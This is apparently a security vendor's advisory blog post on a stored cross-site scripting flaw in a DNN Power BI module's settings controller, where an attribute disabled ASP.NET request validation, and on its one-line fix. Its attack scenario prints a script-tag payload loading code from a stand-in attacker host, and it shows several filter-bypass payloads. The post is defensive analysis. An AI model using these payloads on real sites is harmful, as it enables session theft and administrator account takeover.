Back to Blog
high SEVERITY9 min read

[ValidateInput(false)] on SettingsController.Index Enables Stored XSS

The `Index` POST action of the Power BI module's `SettingsController` was decorated with `[ValidateInput(false)]`, switching off ASP.NET MVC's built-in request validation for every form field bound to `SettingsModel`. Raw `<script>` markup could therefore be persisted into module settings and later rendered back to other users. The fix removes the attribute, restoring framework-level rejection of markup-bearing input on that action while leaving its `[ValidateAntiForgeryToken]` and edit-level au

O
By Orbis AppSec
•Published October 1, 2026•Reviewed October 1, 2026

Answer Summary

The affected API is the `[HttpPost] Index(SettingsModel settings)` action of the DNN Power BI module's `SettingsController`; this is first-party code, so no package version range applies. A user who already holds module Edit permission (or whose session is abused through an authenticated request) could submit raw HTML or `<script>` payloads in the settings form, which were stored unmodified and could execute in the browsers of administrators and visitors who later view the rendered settings — a path from content-editor to host-level account takeover. The fix removes the `[ValidateInput(false)]` attribute from that action so ASP.NET request validation rejects markup-bearing field values again; there is no released "fixed in" version, only the fix commit. The issue maps to CWE-79, Improper Neutralization of Input During Web Page Generation (Cross-site Scripting).

Vulnerability at a Glance

cweCWE-79
fixRemove `[ValidateInput(false)]` so framework request validation rejects markup in posted settings values
riskMarkup stored in module settings executes in other users' browsers, including site administrators
languageC# (ASP.NET MVC / DNN module)
root cause`[ValidateInput(false)]` on the settings POST action removed the only server-side check on raw markup in bound `SettingsModel` fields
vulnerabilityStored cross-site scripting via disabled ASP.NET request validation

Summary

The Index POST action of the Power BI module's SettingsController was decorated with [ValidateInput(false)], switching off ASP.NET MVC's built-in request validation for every form field bound to SettingsModel. Raw <script> markup could therefore be persisted into module settings and later rendered back to other users. The fix removes the attribute, restoring framework-level rejection of markup-bearing input on that action while leaving its [ValidateAntiForgeryToken] and edit-level authorization checks intact.

A one-attribute opt-out that removed the last server-side check

The settings screen for this DNN Power BI module posts a form to an MVC action with a very ordinary signature:

[HttpPost]
[ValidateInput(false)]
[DotNetNuke.Web.Mvc.Framework.ActionFilters.ValidateAntiForgeryToken]
public ActionResult Index(SettingsModel settings)

Three attributes, and at first glance the action looks well defended. ValidateAntiForgeryToken stops cross-site request forgery. The controller is gated by DnnModuleAuthorize with SecurityAccessLevel.Edit, so an anonymous visitor cannot reach it. What neither of those attributes does is look at what was submitted.

That job belonged to ASP.NET request validation — the framework feature that inspects form, query string, and cookie values and throws HttpRequestValidationException when it sees something that looks like markup. [ValidateInput(false)] turns it off for the whole action. Every property the model binder populates on SettingsModel arrives exactly as the client typed it, including <script>alert(document.cookie)</script>.

Nothing else in the action compensated. The values are bound, validated against whatever data annotations exist (length, required, format), and written to DNN module settings storage. That storage is read back and rendered the next time anyone opens the settings screen or views the module — and any rendering path that does not HTML-encode becomes an execution path.

This is the recurring shape of stored XSS in ASP.NET MVC: not a flashy Html.Raw call, but an input-validation opt-out added years earlier, in a controller nobody suspected, paired with an output path nobody re-audited.

Affected Versions

Affected not applicable (first-party code) — the [HttpPost] Index(SettingsModel settings) action of the module's SettingsController
Fixed in not applicable (first-party code) — fixed by the commit removing [ValidateInput(false)] from that action
Ecosystem unknown (ASP.NET MVC module for the DNN platform, C#)
CVE / GHSA not assigned
CWE CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The Vulnerability Explained

The vulnerable pattern

The only change needed to create this issue is one line of metadata:

[HttpPost]
[ValidateInput(false)]   // <-- disables ASP.NET request validation for this action
[DotNetNuke.Web.Mvc.Framework.ActionFilters.ValidateAntiForgeryToken]
public ActionResult Index(SettingsModel settings)
{
    // settings.* properties arrive un-inspected and are persisted as module settings
}

[ValidateInput(false)] is an all-or-nothing switch at action scope. It does not relax validation for one field that genuinely needs HTML; it relaxes it for every property on SettingsModel, plus the query string and cookies accompanying that request. For a settings model full of configuration strings — workspace and report identifiers, display options, cached credentials metadata — none of which should ever contain markup, that is a pure loss of protection with no corresponding gain.

Why the authorization gate is not a fix

The usual rebuttal is "only editors can post to this action." That reasoning fails for stored XSS in a CMS for three reasons specific to this setup:

  1. Privilege boundaries exist inside the editor tier. A DNN install typically has content editors with module Edit permission on specific pages and separate administrator or host accounts with far broader power. A payload stored by the former and rendered for the latter is privilege escalation, not a lateral move. The script runs with the administrator's session and can create a new host user, change module settings site-wide, or install an extension.
  2. CSRF protection does not imply the request is intentional. [ValidateAntiForgeryToken] proves the request carried a matching token, not that the human behind the browser understood what they submitted. Any XSS elsewhere in the site, or a token-leaking bug, can be used to drive this action with attacker-chosen field values.
  3. The payload outlives the session. Unlike reflected XSS, a stored setting fires on every subsequent render, for every viewer, with no social engineering required.

Attack scenario

Consider an editor-level account on a DNN portal that has the Power BI module placed on an internal reporting page.

  1. The attacker opens the module's settings screen and posts the form to SettingsController.Index. Because the browser supplies a valid anti-forgery token and the account holds SecurityAccessLevel.Edit, both protective attributes are satisfied.
  2. Into one of the free-text settings fields bound to SettingsModel they place a payload such as "><script src="https://attacker.example/p.js"></script>.
  3. With [ValidateInput(false)] in force, ASP.NET raises no exception. The value binds, passes any length or format annotations, and is persisted into module settings.
  4. The portal administrator later opens the same settings screen — or any view that echoes the stored setting into HTML without encoding — and the external script executes in their session context.
  5. p.js performs its actions as the administrator: harvesting the authentication cookie, enumerating other modules' settings (including any Power BI service principal configuration surfaced to the UI), or posting back to administrative endpoints with the administrator's own anti-forgery token.

The real-world impact for a service running this module is therefore full compromise of the DNN portal from a content-editor foothold, plus exposure of whatever Power BI tenant configuration the module stores.

The Fix

The change is a single deleted attribute:

         [HttpPost]
-        [ValidateInput(false)]
         [DotNetNuke.Web.Mvc.Framework.ActionFilters.ValidateAntiForgeryToken]
         public ActionResult Index(SettingsModel settings)

Why this resolves the issue

With the attribute gone, the ASP.NET request validation pipeline inspects every posted value before the model binder hands it to Index. A field whose value begins with a pattern like < followed by a letter, or contains &#, causes the framework to throw HttpRequestValidationException and return an error response. The malicious settings value never reaches SettingsModel, never reaches module settings storage, and therefore never reaches a rendered page.

Three things deliberately did not change, and that matters:

  • [ValidateAntiForgeryToken] stays. Request validation and CSRF protection solve different problems; removing one to add the other would be a regression.
  • The DnnModuleAuthorize edit-level gate stays. It still limits who can submit settings at all, which keeps the blast radius small even if a future payload slips past content checks.
  • The action signature and SettingsModel binding are untouched. This is intentionally a minimal, low-risk change — no behavioural rewrite of how settings are saved.

What this fix does not cover

Request validation is a coarse filter, and treating it as the whole answer would be a mistake. It will not reject:

  • javascript: or data: URIs stored in a field that is later emitted into an href or src attribute;
  • payloads that break out of an unquoted HTML attribute without using <, such as x onmouseover=alert(1);
  • content injected into a JavaScript or CSS context in a view, where HTML-level heuristics are irrelevant.

The durable control is on the rendering side: every view that displays a persisted module setting should emit it through Razor's default HTML encoding (@setting, not @Html.Raw(setting)), and attribute and URL contexts should use the matching encoder. If one specific SettingsModel property truly must accept HTML — an embed snippet, for example — the correct pattern is [AllowHtml] on that single property combined with explicit sanitization, never an action-wide [ValidateInput(false)].

One operational note: because request validation now applies, any existing deployment whose settings legitimately contain angle brackets will begin seeing validation errors on save. That is the trade-off being accepted, and it is the right one for configuration fields that should hold identifiers and flags. This change was produced by review rather than by an executed test suite, so confirm the settings round-trip on a staging portal before rolling it out.

Key Takeaways

  • [ValidateInput(false)] is action-scoped and total. It disables content inspection for every property bound on SettingsModel, plus the query string and cookies — not just the one field a developer was trying to unblock. Reach for [AllowHtml] on a single property instead.
  • [ValidateAntiForgeryToken] and DnnModuleAuthorize(AccessLevel = SecurityAccessLevel.Edit) do not inspect payload content. Authorization and CSRF attributes answer "who" and "was this intentional," never "is this value safe to store and render."
  • Editor-level write access is a real attacker position in a CMS. A payload stored through the module settings form by a content editor executes in the administrator's session, which is escalation, not a side-effect.
  • Stored settings are a long-lived sink. Values written once through SettingsController.Index are re-rendered on every subsequent view, so a single successful submission has indefinite reach.
  • Removing the opt-out restores a backstop, not a guarantee. Request validation misses javascript: URIs and attribute-context breakouts, so settings views still need encoded output rather than Html.Raw.

How Orbis AppSec Detected This

  • Source: the HTTP form fields bound by the ASP.NET MVC model binder into the SettingsModel parameter of the [HttpPost] Index(SettingsModel settings) action on SettingsController.
  • Sink: persistence of those values into DNN module settings, which are subsequently rendered into HTML by the module's settings and display views.
  • Missing control: [ValidateInput(false)] on the action disabled ASP.NET request validation, and no replacement server-side sanitization or encoding guarded the values before they were stored; the surrounding [ValidateAntiForgeryToken] and SecurityAccessLevel.Edit checks do not inspect field content.
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
  • Fix: remove the [ValidateInput(false)] attribute from the settings POST action so framework request validation again rejects markup-bearing values before model binding.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

High-severity stored XSS rarely arrives as a dramatic piece of code. Here it arrived as one attribute, [ValidateInput(false)], sitting above a settings action that otherwise looked locked down by anti-forgery and edit-permission filters. Those filters controlled who could post and whether the post was deliberate; nothing controlled what the post contained, so markup submitted by a content editor could be stored in module settings and later executed in an administrator's browser.

Deleting the attribute restores the framework's own rejection of markup in posted settings values and costs nothing for fields that should only ever hold identifiers and flags. The broader lesson for anyone maintaining DNN modules or ASP.NET MVC controllers: treat every [ValidateInput(false)] in a codebase as an open question — why is it there, which property actually needed it, and is the stored value encoded on the way back out? No CVE or GHSA identifier has been assigned to this issue; it is tracked only as the CWE-79 fix commit for this module.

Prevention and further reading

Frequently Asked Questions

Why was `[ValidateInput(false)]` on `SettingsController.Index` a problem when the action already has `[ValidateAntiForgeryToken]` and edit-level module authorization?

Those two attributes answer "is this request forged?" and "is this caller allowed to edit?" — neither inspects the *content* of the posted fields. With request validation disabled, an authorized editor (or anyone exploiting that account) could store `<script>` markup that later executes for higher-privileged viewers.

Does removing `[ValidateInput(false)]` break settings values that legitimately contain angle brackets, such as embed snippets?

Yes, potentially. ASP.NET request validation throws `HttpRequestValidationException` for values starting with patterns like `<` followed by a letter, so any field that must accept markup needs a targeted `[AllowHtml]` on that specific `SettingsModel` property plus explicit sanitization — not a blanket opt-out at the action level.

Is removing the attribute sufficient, or does the rendering side of the Power BI module settings still need work?

It is defense in depth, not a complete fix. Request validation does not catch payloads without `<`, such as `javascript:` URIs or attribute-breaking strings, so the views that display stored settings should still use HTML-encoded output and avoid `Html.Raw` for any persisted setting value.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #61

Related Articles

critical

navbar.html Injection via innerHTML in loadNavbar.js

An Electron app's `loadNavbar.js` fetched `navbar.html` and wrote the response straight into `innerHTML`, so any script tags or event-handler attributes in that file would execute in the renderer. The fix adds a `sanitizeNavbarHtml` routine that parses the markup with `DOMParser` and strips `<script>` tags, `on*` attributes, and `srcdoc` before the content is injected into the DOM.

critical

addSourceInput() javascript: URL Injection in Source List Handler

The `addSourceInput()` function in the application's source list handler was assigning user-provided URLs directly to input elements without protocol validation, allowing `javascript:` URLs to persist and execute. A new `isSafeSourceUrl()` helper now restricts values to HTTP/HTTPS protocols or empty strings.

critical

getCheckboxString() HTML Injection via MIDI Metadata

The `getCheckboxString` helper built checkbox markup by interpolating MIDI instrument and program names directly into an HTML template string, which was then parsed with `DOMParser` and injected via `replaceChildren()`. A crafted MIDI file could smuggle an HTML/JS payload through its instrument metadata and have it rendered as live DOM, including inline event handlers. The fix adds a dedicated `escapeHtml()` function and routes both parameters through it before the markup is built.

high

Location Search XSS in index.html: Unsanitized Query Rendering

A location search feature in index.html rendered user-supplied search queries directly into the DOM without HTML entity encoding, allowing attackers to inject malicious JavaScript. The fix adds output encoding that converts dangerous characters (`&`, `<`, `>`, `"`, `'`) to their HTML entity equivalents before the query string reaches the page.

high

innerHTML Injection in postAlert(): Glitch.me Data Renders Unsanitized

The `postAlert()` function fetched alert data from a Glitch.me endpoint and injected it directly into the DOM using `innerHTML`, enabling arbitrary JavaScript execution if that external source was compromised. The fix replaces the HTML string concatenation with safe DOM API methods: `document.createTextNode()` for content and `addEventListener()` for event handlers, eliminating the injection vector entirely.

high

js-yaml 5.2.1 DoS: Exponential Parsing in Flow Collections

A denial-of-service vulnerability in js-yaml 5.2.1 allows an attacker to crash the parser by supplying deeply nested flow collections that trigger exponential parsing behavior. The fix in version 5.2.2 improves the parser's handling of these structures, preventing the algorithmic complexity attack. This is critical for any service accepting user-controlled YAML input.